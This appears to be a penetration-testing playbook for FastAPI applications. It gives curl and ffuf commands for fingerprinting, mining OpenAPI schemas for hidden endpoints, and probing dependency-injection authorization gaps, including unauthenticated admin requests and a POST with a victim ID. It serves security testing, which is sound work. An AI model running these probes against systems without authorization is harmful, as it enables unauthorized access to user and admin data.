hunt-fastapi

FastAPI Security Hunting

Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.

When to Use

• Target uses FastAPI (indicated by /docs, /redoc, /openapi.json, or server: uvicorn).
• OpenAPI schema is publicly accessible.
• API uses dependency injection (Depends) for authorization.
• WebSocket endpoints exist alongside REST API.
• Application uses Pydantic v1 or v2 for request validation.

Quick Detection

# FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null

Procedure

Phase 1 — OpenAPI Schema Mining

# Download full schema for endpoint discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | keys[]'

# Find hidden endpoints not in docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'

# Discover internal endpoints via path parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" \
  -w /path/to/wordlist.txt \
  -mc 200,401,403 \
  -H "Accept: application/json"

Phase 2 — Dependency Injection Authorization Gaps

# Depends vs Security — check if auth is actually enforced
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users"     # no auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
  -H "Authorization: Bearer INVALID_TOKEN"         # invalid auth

# Dependency override in path operations
# Some endpoints may inherit Depends from router but override with None
for method in GET POST PUT PATCH DELETE; do
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/users/1" \
    -w "$method — %{http_code}\n" -o /dev/null
done

# Background tasks added via BackgroundTasks may skip auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"user_id":"VICTIM_ID","product":"test"}'